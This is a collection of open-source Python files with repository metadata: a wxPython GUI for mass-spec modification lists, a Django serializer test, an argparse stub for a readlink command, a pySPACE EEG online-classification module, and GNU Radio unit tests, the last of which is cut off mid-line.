self.Bind(wx.EVT_BUTTON, self.OnSave, self.Save) #self.Load = wx.Button(self.panel, -1, "L", pos=(30,2), size=(25,25)) #self.Bind(wx.EVT_BUTTON, self.OnLoad, self.Load) self.Delete = wx.Button(self.panel, -1, "Delete", pos=(45,2), size=(40,25)) self.Bind(wx.EVT_BUTTON, self.OnDelete, self.Delete) #self.Clear = wx.Button(self.panel, -1, "C", pos=(90,2), size=(25,25)) #self.Bind(wx.EVT_BUTTON, self.OnClear, self.Clear) #self.Stds = wx.Button(self.panel, -1, "Standards", pos=(150,2), size=(60,25)) #self.Bind(wx.EVT_BUTTON, self.OnStds, self.Stds) #ComboBox = wx.ComboBox(self.panel, -1, pos=(120, 2), size=(25,25), value=eachList[eachInit], choices=eachList) #ebutton = wx.Button(self.panel, -1, "E", (120, 2), (25,25)) #self.Bind(wx.EVT_BUTTON, self.OnEdit, ebutton) self.NewEntry = wx.Button(self.panel, -1, "New", pos=(90,2), size=(40,25)) self.Bind(wx.EVT_BUTTON, self.OnNew, self.NewEntry) self.panel.Bind(wx.EVT_RIGHT_UP, self.OnRightUp) self.listb.Bind(wx.EVT_RIGHT_DOWN, self.OnRightUp) self.listb.Bind(wx.EVT_LIST_COL_CLICK, self.OnColClick) #self.listb.Bind(wx.EVT_LIST_BEGIN_LABEL_EDIT, self.BeginEdit) self.listb.Bind(wx.EVT_LIST_END_LABEL_EDIT, self.EndEdit) #self.panel.Bind(wx.EVT_MOTION, self.OnMouse) self.pa = re.compile('([A-Z]+[a-z]*)[ ]*\(*([0-9]+)\)*') file_r = open(os.path.join(os.path.dirname(__file__), r'mz_workbench\files\new_res_list.txt'), 'r') lines = file_r.readlines() #self.listb.DeleteAllItems() groupsSet = set() groupsSet.add('All') data_dict = defaultdict(dict) for line in lines: entry = line.split('|') token = entry[0].strip() title = entry[1].strip() composition = entry[2].strip() try: group = entry[3].strip() except IndexError: group = "Unknown" groupsSet.add(group) #print composition data_dict[token]={"title":title, "comp":composition, "group":group} self.data_dict = data_dict choiceList = list(groupsSet) choiceList.sort() self.groupSelection = wx.ComboBox(self.panel, -1, pos=(260, 2), size=(200,50), value='All', choices=choiceList) self.Bind(wx.EVT_COMBOBOX, self.OnSelect, self.groupSelection) self.BuildList(self.groupSelection.GetValue()) #------------------------------Original code that built list directly from text file. Now above reads #------------------------------To data dictionary #for line in lines: #entry = line.split('|') #token = entry[0].strip() #title = entry[1].strip() #composition = entry[2].strip() #group = entry[3].strip() #groupsSet.add(group) #print composition #self.listb.Populate(token, title, composition, group) file_r.close() self.Refresh() self.Update() self.Refresh() self.selected = None def BuildList(self, select_group): self.listb.DeleteAllItems() self.listb.bank_num=0 for key in self.data_dict.keys(): token = key title = self.data_dict[key]["title"] composition = self.data_dict[key]["comp"] group = self.data_dict[key]["group"] print composition print token if (select_group == 'All') or (select_group == group): self.listb.Populate(token, title, composition, group) for x in range(0, self.listb.ItemCount): if x % 2 == 1: #print "Set blue..." self.listb.SetItemBackgroundColour(x, "light blue") def OnNew(self, evt): self.listb.Populate('', '', '', '') def OnSelect(self, evt): print "EVENT SELECT" self.BuildList(self.groupSelection.GetValue()) def OLD_EndEdit(self, evt): ''' This is the old version. ''' print "End Edit event" item = evt.GetItem() selected=item.GetId() print item.GetText() print selected #self.GetItemCount() #self.GetItem(9,2).GetText() if evt.Column == 2: new_CHNOPS_dict = dict([(x, int(y)) for (x, y) in self.pa.findall(item.GetText())]) self.listb.SetStringItem(selected, 3, str(mz_masses.calc_mass(new_CHNOPS_dict, massType='mi'))) self.listb.SetStringItem(selected, 4, str(mz_masses.calc_mass(new_CHNOPS_dict, massType='av'))) #self.result.SetValue(str(mz_masses.calc_mass(dict([(x, int(y)) for (x, y) in self.pa.findall(self.CHNOPSdata.GetValue())])))) def BeginEdit(self, evt): item = evt.GetItem() selected=item.GetId() self.startEditToken = self.listb.GetItem(selected, 0).GetText() evt.Skip() def EndEdit(self, evt): print "End Edit event" item = evt.GetItem() selected=item.GetId() print item.GetText() print selected #self.GetItemCount() #self.GetItem(9,2).GetText() if evt.Column == 0: print "EDIT token" print "Original" print self.listb.GetItem(selected, 0).GetText() #print self.startEditToken print "New" print item.GetText() print "Make new entry" entry = self.data_dict[self.listb.GetItem(selected, 0).GetText()] print entry self.data_dict[item.GetText()]=entry print "Delete old entry" del self.data_dict[self.listb.GetItem(selected, 0).GetText()] print self.data_dict[self.listb.GetItem(selected, 0).GetText()] print self.data_dict[item.GetText()] #entry = self.data_dict[self.startEditToken] #print self.data_dict[self.listb.GetItem(selected, 0).GetText()] #self.data_dict[self.listb.GetItem(selected, 0).GetText()]['title']=item.GetText() #print "To" #print self.data_dict[self.listb.GetItem(selected, 0).GetText()] if evt.Column == 1: print "EDIT TITLE" print self.data_dict[self.listb.GetItem(selected, 0).GetText()] self.data_dict[self.listb.GetItem(selected, 0).GetText()]['title']=item.GetText() print "To" print self.data_dict[self.listb.GetItem(selected, 0).GetText()] if evt.Column == 2: print "EDIT COMPOSITION" new_mod_data = item.GetText() new_CHNOPS_dict = dict([(x, int(y)) for (x, y) in self.pa.findall(item.GetText())]) self.listb.SetStringItem(selected, 3, str(mz_masses.calc_mass(new_CHNOPS_dict, massType='mi'))) self.listb.SetStringItem(selected, 4, str(mz_masses.calc_mass(new_CHNOPS_dict, massType='av'))) print "Change From" print self.data_dict[self.listb.GetItem(selected, 0).GetText()] self.data_dict[self.listb.GetItem(selected, 0).GetText()]['comp']=self.listb.convertFromComp(item.GetText()) print "To" print self.data_dict[self.listb.GetItem(selected, 0).GetText()] #self.result.SetValue(str(mz_masses.calc_mass(dict([(x, int(y)) for (x, y) in self.pa.findall(self.CHNOPSdata.GetValue())])))) if evt.Column == 5: print "EDIT GROUP" self.data_dict[self.listb.GetItem(selected, 0).GetText()]['group']=item.GetText() evt.Skip() def OnMouse(self, event): print "Mouse ve" """implement dragging""" if not event.Dragging(): self._dragPos = None return self.CaptureMouse() if not self._dragPos: self._dragPos = event.GetPosition() else: pos = event.GetPosition() displacement = self._dragPos - pos self.SetPosition( self.GetPosition() - displacement ) def OnColClick(self, evt): print "COLCLICK" for x in range(0, self.listb.ItemCount): self.listb.SetItemBackgroundColour(x, "white") if x % 2 == 1: #print "Set blue..." self.listb.GetItemPosition(x) self.listb.SetItemBackgroundColour(x, "white") evt.Skip() def OnRightUp(self, evt): self.Hide() def OnAct(self, event): pass def OnEdit(self, event): self.listb.editable=not self.listb.editable print "Editable" print self.listb.editable if self.listb.editable: self.listb.editor.Enable() else: self.listb.editor.Disable() #wx.PostEvent(self.OnColClick, wx.EVT_LIST_COL_CLICK) #wx.EVT_LIST_COL_CLICK def CreateMinibar(self, parent): # create mini toolbar self._mtb = FM.FlatMenuBar(self, wx.ID_ANY, 20, 6, options = FM_OPT_SHOW_TOOLBAR|FM_OPT_MINIBAR) bankBmp = wx.Bitmap(os.path.join(bitmapDir, "OpenBank.bmp"), wx.BITMAP_TYPE_BMP) #bankBmp2 = wx.Bitmap(os.path.join(bitmapDir, "bank2.bmp"), wx.BITMAP_TYPE_BMP) self._mtb.AddTool(toolId=2120, label="Mem", bitmap1=bankBmp, bitmap2=wx.NullBitmap, shortHelp="Open Memory Bank", longHelp="Open Memory Bank") def OnSelected(self, event): item = event.GetItem() self.selected=item.GetId() #-------Id is the index within the list. Keep track of this for other commands #data = item.GetText().split('-') #nterm = data[0] #seq = data[1] #cterm = data[2] #if nterm == "H": #nterm = "None" #if cterm == "OH": #cterm = "None" #self.parent.FindWindowByName("sequence").SetValue(seq) #self.parent.FindWindowByName("nTerm").SetValue(nterm) #self.parent.FindWindowByName("cTerm").SetValue(cterm) #self.parent.OnCalculate(None) event.Skip() def RadioBoxData(self): return (("Masses", ['monoisotopic', 'average'], 'masses', (10, 190), wx.DefaultSize),) #, 'average' def ValidateList(self): file_w = open(os.path.join(os.path.dirname(__file__), r'mz_workbench\files\temp_list.txt'), 'w') for key in [x for x in self.data_dict.keys() if x]: entry = self.data_dict[key] line = key + '|' + entry['title'] + '|' + entry['comp'] + '|' + entry['group'] + '\n' file_w.write(line) file_w.close() def OnSave(self, event): #dlg = wx.FileDialog(None, "Save as..", pos = (2,2), style = wx.SAVE, wildcard = "text files (*.txt)|") #if dlg.ShowModal() == wx.ID_OK: #filename=dlg.GetFilename() #dir = dlg.GetDirectory() #os.chdir(dir) #dlg.Destroy() #self.savedir = dir #self.savefilename = filename #print dir #print filename #if filename.find(".txt") == -1: #filename += ".txt" #self.savefilename = filename file_w = open(os.path.join(os.path.dirname(__file__), r'mz_workbench\files\new_res_list.txt'), 'w') #file_w = open(dir + '\\' + filename, 'w') for key in [x for x in self.data_dict.keys() if x]: entry = self.data_dict[key] line = key + '|' + entry['title'] + '|' + entry['comp'] + '|' + entry['group'] + '\n' file_w.write(line) file_w.close() def OLD_OnSave(self, event): ''' This is the old Save command. This went from the list. The issue with this is that it required the entire list to be displayed. The new one saves from the data_dictionary directly ''' dlg = wx.FileDialog(None, "Save as..", pos = (2,2), style = wx.SAVE, wildcard = "text files (*.txt)|") if dlg.ShowModal() == wx.ID_OK: filename=dlg.GetFilename() dir = dlg.GetDirectory() os.chdir(dir) dlg.Destroy() self.savedir = dir self.savefilename = filename print dir print filename if filename.find(".txt") == -1: filename += ".txt" self.savefilename = filename file_w = open(dir + '\\' + filename, 'w') for i in range(0, self.listb.ItemCount): file_w.write(self.listb.GetItemText(i,0) + '|' + self.listb.GetItemText(i,1) + '|' + self.listb.GetItemText(i,2).replace('(', ':').replace(')',',')[:-2] + '|' + self.listb.GetItemText(i,5) + '\n') #a[1:-1].replace("'", '') file_w.close() def OnLoad(self, event): dlg = wx.FileDialog(None, "Load...", pos = (2,2), style = wx.OPEN, wildcard = "text files (*.txt)|") if dlg.ShowModal() == wx.ID_OK: filename=dlg.GetFilename() dir = dlg.GetDirectory() os.chdir(dir) dlg.Destroy() self.loaddir = dir self.loadfilename = filename print dir print filename file_r = open(dir + '\\' + filename, 'r') lines = file_r.readlines() self.listb.DeleteAllItems() for i, line in enumerate(lines): self.listb.Populate(line.split('\t')[0].strip(), line.split('\t')[1].strip()) file_r.close() def OnDelete(self, event): if self.selected: self.listb.DeleteItem(self.selected) self.selected=None else: wx.MessageBox("Select a row to delete.\nEntire row should be highlighted.") def OnClear(self, event): self.listb.DeleteAllItems() if __name__ == '__main__': app = wx.App(False) a = ModBank(None, -1) a.Show() app.MainLoop()
BlaisProteomics/mzStudio
mzStudio/ModManager.py
Python
gpl-3.0
19,731
from django.test import TestCase from django.utils.six import BytesIO from rest_framework.parsers import JSONParser from rest_framework.renderers import JSONRenderer from mediocris.serializers import SampleSerializer from mediocris.tests.helpers import serialized_datetime from mediocris.tests.factories import SampleFactory class SampleSerializerTestCase(TestCase): def setUp(self): self.sample = SampleFactory() def test(self): serialized_data = SampleSerializer(instance=self.sample).data rendered_data = JSONRenderer().render(serialized_data) parsed_data = JSONParser().parse(BytesIO(rendered_data)) self.assertDictEqual(parsed_data, { 'id': self.sample.id, 'topic': { 'id': self.sample.topic.id, 'name': self.sample.topic.name, }, 'interval': { 'unit': self.sample.interval.unit, 'number': self.sample.interval.number, }, 'count': self.sample.count, 'sum': self.sample.sum, 'average': self.sample.average, 'minimum': self.sample.minimum, 'maximum': self.sample.maximum, 'last_value': self.sample.last_value, 'last_timestamp': serialized_datetime(self.sample.last_timestamp), 'last_metadata': self.sample.last_metadata, 'expires_read': self.sample.expires_read, 'expires_write': self.sample.expires_write, })
sdeleeuw/mediocris
mediocris/tests/test_serializer_sample.py
Python
gpl-3.0
1,520
# -*- mode: python; coding: utf-8 -*- # # Copyright 2012 Andrej A Antonov <[email protected]>. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. assert str is not bytes DESCRIPTION = 'print value of a symbolic link' HELP = DESCRIPTION def add_arguments(arg_parser): arg_parser.add_argument( 'path', help='the symbolic link path', )
polymorphm/php-miniprog-shell
lib_php_miniprog_shell_2011_12_17/readlink_argparse.py
Python
gpl-3.0
969
""" Script to run the actual online classification of data """ import os import logging.handlers import multiprocessing import time import numpy import warnings import cPickle import xmlrpclib import sys online_logger = logging.getLogger("OnlineLogger") from pySPACE.environments.live import eeg_stream_manager import pySPACE.environments.live.communication.socket_messenger from pySPACE.tools.logging_stream_colorer import ColorFormatter, COLORS class SimpleResultCollection(object): """ Base Class for Result collection. Default behaviour is counting occurring events in a dictionary. **Parameters** :name: potential-name (e.g. LRP) :params: parameter/meta-data of the potential :store: write result to a pickle file """ def __init__(self, name, params, store=True): self.result = None self.name = name self.params = params self.store = store online_logger.info(str(self)) def __repr__(self): return str("simple result collection for %s (%s) " % (self.name, self.params)) def event_notification(self, event_str): """ simple event counting """ if self.result is None: self.result = dict() if event_str not in self.result.keys(): self.result[event_str] = 0 self.result[event_str] += 1 def dump(self): """ simple print function """ online_logger.info(str("result for %s: %s" % (self.name, str(self.result)))) # write the result to the file system if self.store: f = open(str("%s.result" % self.name), 'w') cPickle.dump(self.result, f) f.close() class ConfusionMatrix(SimpleResultCollection): """ A confusion matrix. Stores and handles a confusion matrix. The confusion matrix is assumed to have the following form: +--------+---+-----+------+ | | prediction | + +-----+------+ | | P | N | +========+===+=====+======+ | actual | P | TP | FN | + +---+-----+------+ | | N | FP | TN | +--------+---+-----+------+ **Parameters** :name: potential-name (e.g. LRP) :params: parameter/meta-data of the potential """ def __init__(self, name, params): super(ConfusionMatrix, self).__init__(name, params) self.last_result = None def __repr__(self): return str("confusing matrix for %s (%s) " % (self.name, self.params)) def event_notification(self, event_str): """ Update the confusion matrix It is assumed that we receive a trigger event *after* the classification result (either pos. or neg.-event). If the trigger_event occurrs it is a validation for a positive prediction. If no trigger_event but instead another classification result comes in it is assumed that no reaction on the previously presented target appeared. """ # online_logger.info("Got event with event string:" + str(event_str)) if self.result is None: self.result = numpy.zeros((2,2)) if self.params.has_key("trigger_event"): # if current event is a trigger event we use # it as a validation for the last prediction if event_str == self.params["trigger_event"]: if self.last_result == self.params["negative_event"]: self.result[1,0] += 1 elif self.last_result == self.params["positive_event"]: self.result[0,0] += 1 elif self.last_result is None: online_logger.warn("Received trigger event without positive event!") online_logger.warn("Possible reasons:") online_logger.warn("- Subject reacted although no target was presented") online_logger.warn("- The streaming is much faster than realtime and the prediction appeared later than the respone.") online_logger.warn("- Marker for trigger event appeared twice.") self.last_result = None # current event is a classification result: # - either infer, that no reaction occurred # - or just store it if event_str == self.params["positive_event"] or \ event_str == self.params["negative_event"]: if self.last_result == self.params["positive_event"]: self.result[0,1] += 1 elif self.last_result == self.params["negative_event"]: self.result[1,1] += 1 elif self.last_result is not None: online_logger.info(str("unknwon event type: event_str=%s last_result=%s" % (event_str, self.last_result[key]))) # store it self.last_result = event_str def dump(self): """ prints the collected result of the confusion matrix """ super(ConfusionMatrix, self).dump() online_logger.info(str("Confusion matrix for %s:" % self.name)) online_logger.info(str("+--------+---+------+------+")) online_logger.info(str("| | prediction |")) online_logger.info(str("+ +------+------+")) online_logger.info(str("| | P | N |")) online_logger.info(str("+========+===+======+======+")) online_logger.info(str("| actual | P | %4d | %4d |" % (self.result[0,0], self.result[1,0]))) online_logger.info(str("+ +---+------+------+")) online_logger.info(str("| | N | %4d | %4d |" % (self.result[0,1], self.result[1,1]))) online_logger.info(str("+--------+---+------+------+")) class Predictor(object): """ Class that is responsible to perform the actual predictions. """ def __init__(self, live_processing = None, configuration = None): self.configuration = configuration self.predicting_active_potential = {} self.abri_flow = {} self.prewindowing_flow = {} self.postprocessing_flow = {} # init the message handling self.event_queue = dict() # multiprocessing.Queue() self.command_queue = multiprocessing.Queue() # initialize the live_processing if live_processing == None: self.messenger = pySPACE.environments.live.communication.socket_messenger.SocketMessenger() else: self.messenger = live_processing self.create_processor_logger() self.predict_process = {} self.predicting_fct_stream_data_process = {} self.event_notification_process = None self.controller_host = None self.controller_port = None self.mars_host = None self.mars_port = None self.queue = {} self.stream_manager = None self.window_stream = {} def __del__(self): self.messenger.end_transmission() def initialize_xmlrpc(self, controller_host, controller_port, mars_host = '127.0.0.1', mars_port = 8080): """ Setup communication to remote listeners This method tells ABRIProcessing which remote processes are interested in being informed about its classification results. """ # Create Server Proxy for control center self.controller_host = controller_host self.controller_port = controller_port self.controller = xmlrpclib.ServerProxy('http://%s:%s' % (controller_host, controller_port)) # Create Server Proxy for MARS simulation self.mars_host = mars_host self.mars_port = mars_port self.marsXmlRpcServer = \ xmlrpclib.ServerProxy('http://%s:%s' % (mars_host, mars_port)) def set_eeg_stream_manager(self, stream_manager): """ Set manager class that provides the actual data for the prediction """ self.stream_manager = stream_manager def load_model(self, directory, datasets): """ Store the learned models """ online_logger.info( "Reloading learned models ...") self.datasets = datasets for key in self.datasets.keys(): adapted_flow_path = "%s/%s.pickle" % (directory , "abri_flow_adapted_"+ key) trained_flow_path = "%s/%s.pickle" % (directory , "train_flow_"+ key) trained_flow_path_svm_model = "%s/%s.model" % (directory , "train_flow_"+ key) prewindowing_flow_path = "%s/%s.pickle" % (directory , "prewindowing_flow_"+ key) prewindowing_offline_flow_path = "%s/%s.pickle" % (directory , "prewindowing_offline_flow_"+ key) # check if adapted flow exists, if yes, use it for prediction if os.path.exists(adapted_flow_path): flh = {} flh[key] = open(adapted_flow_path, 'r') self.abri_flow[key] = cPickle.load(flh[key]) flh[key].close() online_logger.info( "Predicting using adapted " + key +" flow...") # check if trained flow exists, if yes, use it for prediction elif os.path.exists(trained_flow_path): flh = {} flh[key] = open(trained_flow_path, 'r') self.abri_flow[key] = cPickle.load(flh[key]) flh[key].close() online_logger.info( "Predicting using trained " + key +" flow...") # try to get the flow from prewindowing flow and postprocessing flow if os.path.exists(trained_flow_path_svm_model): self.abri_flow[key][-1].load_model(trained_flow_path_svm_model) online_logger.info( "Predicting using trained " + key +" flow...") else: flh_1 = {} flh_2 = {} if os.path.exists(prewindowing_flow_path): flh_1[key] = open(prewindowing_flow_path, 'r') elif os.path.exists(prewindowing_offline_flow_path): flh_1[key] = open(prewindowing_offline_flow_path, 'r') flh_2[key] = open("%s/%s.pickle" % (directory , "prewindowed_train_flow_"+ key), 'r') self.prewindowing_flow[key] = cPickle.load(flh_1[key]) self.prewindowing_flow[key].pop(-1) self.prewindowing_flow[key].pop(-1) self.postprocessing_flow[key] = cPickle.load(flh_2[key]) self.postprocessing_flow[key].pop(0) self.postprocessing_flow[key].pop(0) self.abri_flow[key] = self.prewindowing_flow[key] + self.postprocessing_flow[key] flh_1[key].close() flh_2[key].close() online_logger.info( "Predicting using prewindowed trained " + key +" flow...") time.sleep(5) online_logger.info( "Reloading learned models ... Done!") return 0 def prepare_predicting(self, datasets, testing_data=None): """Prepares the trained aBRI-DP flows to classify new instances. """ self.messenger.register() if testing_data is not None: if self.stream_manager is not None: online_logger.warn("deleting stream manager %s - this should not happen" % self.stream_manager) self.stream_manager = None self.stream_manager = eeg_stream_manager.LiveEegStreamManager(online_logger) self.stream_manager.stream_local_file(testing_data) # create window streams for all potentials spec_base = self.configuration.spec_dir for key in self.datasets.keys(): online_logger.info( "Creating " + key + " windower stream") window_spec = os.path.join(spec_base,"node_chains","windower", self.datasets[key]["windower_spec_path_prediction"]) if self.datasets[key].has_key("stream") and self.datasets[key]["stream"] == True: self.window_stream[key] = \ self.stream_manager.request_window_stream(window_spec, nullmarker_stride_ms=50, no_overlap = True) else: self.window_stream[key] = \ self.stream_manager.request_window_stream(window_spec, nullmarker_stride_ms=50) # Classification is done in separate threads, we send the time series # windows to these threads via two queues for key in self.datasets.keys(): self.queue[key] = multiprocessing.Queue() self.predicting_active_potential[key] = multiprocessing.Value("b",False) self.predicting_paused_potential = multiprocessing.Value('b',False) # The two classification threads access the two queues via two # generators def flow_generator(key): """create a generator to yield all the abri flow windows""" # Yield all windows until a None item is found in the queue while True: window = self.queue[key].get(block = True, timeout = None) if window == None: break yield window for key in self.datasets.keys(): self.abri_flow[key][0].set_generator(flow_generator(key)) return 0 def start_predicting(self, trace = False): """ Classify new instances based on the learned aBRI-DP flows. """ if trace: for key in self.datasets.keys(): for node in self.abri_flow[key]: node.trace = True def handle_event_notification(key): online_logger.info(str("handling event notification for %s" % key)) if self.datasets[key].has_key("trigger_event"): result_collector = ConfusionMatrix(name=key, params=self.datasets[key]) else: result_collector = SimpleResultCollection(name=key, params=self.datasets[key]) event = self.event_queue[key].get(block = True, timeout = None) while event != None: result_collector.event_notification(event) event = self.event_queue[key].get(block = True, timeout = None) result_collector.dump() def predicting_fct(key): """ A function that is executed in a separate thread, in which pyspace detects whether a target is perceived or not and put them in the event queue """ self.predicting_active_potential[key].value = True online_logger.debug(key +" detection process started") for result in self.abri_flow[key].execute(): if self.predicting_paused_potential.value: continue if not self.datasets[key].get("messenger",True): continue if self.datasets[key].has_key("trigger_event"): self.messenger.send_message((key, result[0].label in self.datasets[key]["positive_event"])) if str(result[0].label) in self.datasets[key]["positive_event"]: self.event_queue[key].put(self.datasets[key]["positive_event"]) else: self.event_queue[key].put(self.datasets[key]["negative_event"]) online_logger.info("Classified target as " + str(result[0].label) + " with score " + str(result[0].prediction)) else: self.messenger.send_message((key,result[0].prediction)) if str(result[0].label) == self.datasets[key]["positive_event"]: self.lrp_logger.info("Classified movement window as " + str(result[0].label) + " with score " + str(result[0].prediction)) self.event_queue[key].put(self.datasets[key]["positive_prediction"]) else: self.no_lrp_logger.info("Classified movement window as " + str(result[0].label) + " with score " + str(result[0].prediction)) self.event_queue[key].put(self.datasets[key]["negative_prediction"]) # when finished put a none in the event queue self.event_queue[key].put(None) self.predicting_active_potential[key].value = False online_logger.info(str("predicition of %s finished!" % key)) def predicting_fct_stream_data(key): """ A function that decides whether the window stream in p3 is a response or a NoResponse or a Standard and put them in an event queue """ active = True visualize = False # distribute all windows to the responsible flows for data, label in self.window_stream[key]: if self.predicting_paused_potential.value: continue # distribution is performed according to different preconditions # detection is performed if there is a preceding trigger event if self.datasets[key].has_key("trigger_event"): if label in self.datasets[key]["trigger_event"]: self.event_queue[key].put(self.datasets[key]["trigger_event"]) else: self.queue[key].put((data, label)) # switch detection on or off depending on activation label elif self.datasets[key].has_key("activation_label"): if label in self.datasets[key]["activation_label"]: online_logger.info("Detection of " + key + "started") active = True elif label in self.datasets[key]["deactivation_label"]: online_logger.info("Detection of " + key + "stopped") active = False if label in self.datasets[key]["positive_event"] and active: self.event_queue[key].put(self.datasets[key]["positive_event"]) self.queue[key].put((data, label)) time.sleep(0.1) # just put data into the flow else: self.queue[key].put((data, label)) # Put a None into the data-queue to stop classification threads self.queue[key].put(None) # self.predicting_active_potential[key].value = False online_logger.info("Finished stream data " + key) online_logger.info( "Starting Evaluation") # Start two threads for predicting for key in self.datasets.keys(): if not key in self.event_queue.keys(): self.event_queue[key] = multiprocessing.Queue() if not key in self.predict_process.keys(): self.predict_process[key] = \ multiprocessing.Process(target = predicting_fct, args = (key,)) self.predict_process[key].start() if not key in self.predicting_fct_stream_data_process.keys(): self.predicting_fct_stream_data_process[key] = \ multiprocessing.Process(target = predicting_fct_stream_data, args = (key,)) self.predicting_fct_stream_data_process[key].start() self.predicting_paused_potential.value = False if not self.event_notification_process: self.event_notification_process = dict() for key in self.datasets.keys(): self.event_notification_process[key] = \ multiprocessing.Process(target = handle_event_notification, args=(key,)) self.event_notification_process[key].start() return 0 # Put all windows into the queues so that they can be processed by # the two classification threads def is_predicting_active(self): """ Returns whether prediction phase is finished or still running """ for key in self.datasets.keys(): return self.predicting_active_potential[key].value == True #or self.predicting_active_LRP.value == True def process_external_command(self, command): if command == "STOP": self.pause_prediction() def pause_prediction(self): self.predicting_paused_potential.value = True def stop_predicting(self): """ Force the end of the predicting """ # We stop the aBRI-DP training by disconnecting the EEG stream from it def read(**kwargs): online_logger.info( "Canceling EEG transfer") return 0 online_logger.info( "Stopping predicting ...") # Wait until aBRI-DP has finished predicting for key in self.datasets.keys(): self.predict_process[key].join() self.predicting_fct_stream_data_process[key].join() self.event_notification_process.join() online_logger.info("Prediction finished") return 0 def set_controller(self,controller): """ Set reference to the controller """ self.controller = controller def create_processor_logger(self): """ Create specific logger for the prediction """ # Setting up log level # create a logger # create logger for test output self.lrp_logger = logging.getLogger('abriOnlineProcessorLoggerForLrps') self.lrp_logger.setLevel(logging.DEBUG) self.no_lrp_logger = logging.getLogger('abriOnlineProcessorLoggerForNoLrps') self.no_lrp_logger.setLevel(logging.DEBUG) formatterResultsStreamNoLrp = ColorFormatter("%(asctime)s - %(name)s: %(message)s", color = COLORS.RED) formatterResultsStreamLrp = ColorFormatter("%(asctime)s - %(name)s: %(message)s", color = COLORS.GREEN) formatterResultsFile = logging.Formatter("%(asctime)s - %(name)s: %(message)s") loggingFileHandlerResults = logging.handlers.TimedRotatingFileHandler("log"+os.path.sep+ \ "prediction_lrp.log",backupCount=5) loggingStreamHandlerResultsNoLrp = logging.StreamHandler() loggingStreamHandlerResultsNoLrp.setFormatter(formatterResultsStreamNoLrp) loggingStreamHandlerResultsLrp = logging.StreamHandler() loggingStreamHandlerResultsLrp.setFormatter(formatterResultsStreamLrp) loggingFileHandlerResults.setFormatter(formatterResultsFile) loggingStreamHandlerResultsLrp.setLevel(logging.DEBUG) loggingStreamHandlerResultsNoLrp.setLevel(logging.DEBUG) loggingFileHandlerResults.setLevel(logging.DEBUG) self.lrp_logger.addHandler(loggingStreamHandlerResultsLrp) self.no_lrp_logger.addHandler(loggingStreamHandlerResultsNoLrp) self.lrp_logger.addHandler(loggingFileHandlerResults) self.no_lrp_logger.addHandler(loggingFileHandlerResults)
pyspace/test
pySPACE/environments/live/prediction.py
Python
gpl-3.0
23,206
#!/usr/bin/env python # # Copyright 2004,2007,2010 Free Software Foundation, Inc. # # This file is part of GNU Radio # # GNU Radio is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3, or (at your option) # any later version. # # GNU Radio is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with GNU Radio; see the file COPYING. If not, write to # the Free Software Foundation, Inc., 51 Franklin Street, # Boston, MA 02110-1301, USA. # from gnuradio import gr, gr_unittest class test_add_v_and_friends(gr_unittest.TestCase): def setUp(self): self.tb = gr.top_block() def tearDown(self): self.tb = None def help_ss(self, size, src_data, exp_data, op): for s in zip(range (len (src_data)), src_data): src = gr.vector_source_s(s[1]) srcv = gr.stream_to_vector(gr.sizeof_short, size) self.tb.connect(src, srcv) self.tb.connect(srcv, (op, s[0])) rhs = gr.vector_to_stream(gr.sizeof_short, size) dst = gr.vector_sink_s() self.tb.connect(op, rhs, dst) self.tb.run() result_data = dst.data() self.assertEqual(exp_data, result_data) def help_ii(self, size, src_data, exp_data, op): for s in zip(range (len (src_data)), src_data): src = gr.vector_source_i(s[1]) srcv = gr.stream_to_vector(gr.sizeof_int, size) self.tb.connect(src, srcv) self.tb.connect(srcv, (op, s[0])) rhs = gr.vector_to_stream(gr.sizeof_int, size) dst = gr.vector_sink_i() self.tb.connect(op, rhs, dst) self.tb.run() result_data = dst.data() self.assertEqual(exp_data, result_data) def help_ff(self, size, src_data, exp_data, op): for s in zip(range (len (src_data)), src_data): src = gr.vector_source_f(s[1]) srcv = gr.stream_to_vector(gr.sizeof_float, size) self.tb.connect(src, srcv) self.tb.connect(srcv, (op, s[0])) rhs = gr.vector_to_stream(gr.sizeof_float, size) dst = gr.vector_sink_f() self.tb.connect(op, rhs, dst) self.tb.run() result_data = dst.data() self.assertEqual(exp_data, result_data) def help_cc(self, size, src_data, exp_data, op): for s in zip(range (len (src_data)), src_data): src = gr.vector_source_c(s[1]) srcv = gr.stream_to_vector(gr.sizeof_gr_complex, size) self.tb.connect(src, srcv) self.tb.connect(srcv, (op, s[0])) rhs = gr.vector_to_stream(gr.sizeof_gr_complex, size) dst = gr.vector_sink_c() self.tb.connect(op, rhs, dst) self.tb.run() result_data = dst.data() self.assertEqual(exp_data, result_data) def help_const_ss(self, src_data, exp_data, op): src = gr.vector_source_s(src_data) srcv = gr.stream_to_vector(gr.sizeof_short, len(src_data)) rhs = gr.vector_to_stream(gr.sizeof_short, len(src_data)) dst = gr.vector_sink_s() self.tb.connect(src, srcv, op, rhs, dst) self.tb.run() result_data = dst.data() self.assertEqual(exp_data, result_data) def help_const_ii(self, src_data, exp_data, op): src = gr.vector_source_i(src_data) srcv = gr.stream_to_vector(gr.sizeof_int, len(src_data)) rhs = gr.vector_to_stream(gr.sizeof_int, len(src_data)) dst = gr.vector_sink_i() self.tb.connect(src, srcv, op, rhs, dst) self.tb.run() result_data = dst.data() self.assertEqual(exp_data, result_data) def help_const_ff(self, src_data, exp_data, op): src = gr.vector_source_f(src_data) srcv = gr.stream_to_vector(gr.sizeof_float, len(src_data)) rhs = gr.vector_to_stream(gr.sizeof_float, len(src_data)) dst = gr.vector_sink_f() self.tb.connect(src, srcv, op, rhs, dst) self.tb.run() result_data = dst.data() self.assertEqual(exp_data, result_data) def help_const_cc(self, src_data, exp_data, op): src = gr.vector_source_c(src_data) srcv = gr.stream_to_vector(gr.sizeof_gr_complex, len(src_data)) rhs = gr.vector_to_stream(gr.sizeof_gr_complex, len(src_data)) dst = gr.vector_sink_c() self.tb.connect(src, srcv, op, rhs, dst) self.tb.run() result_data = dst.data() self.assertEqual(exp_data, 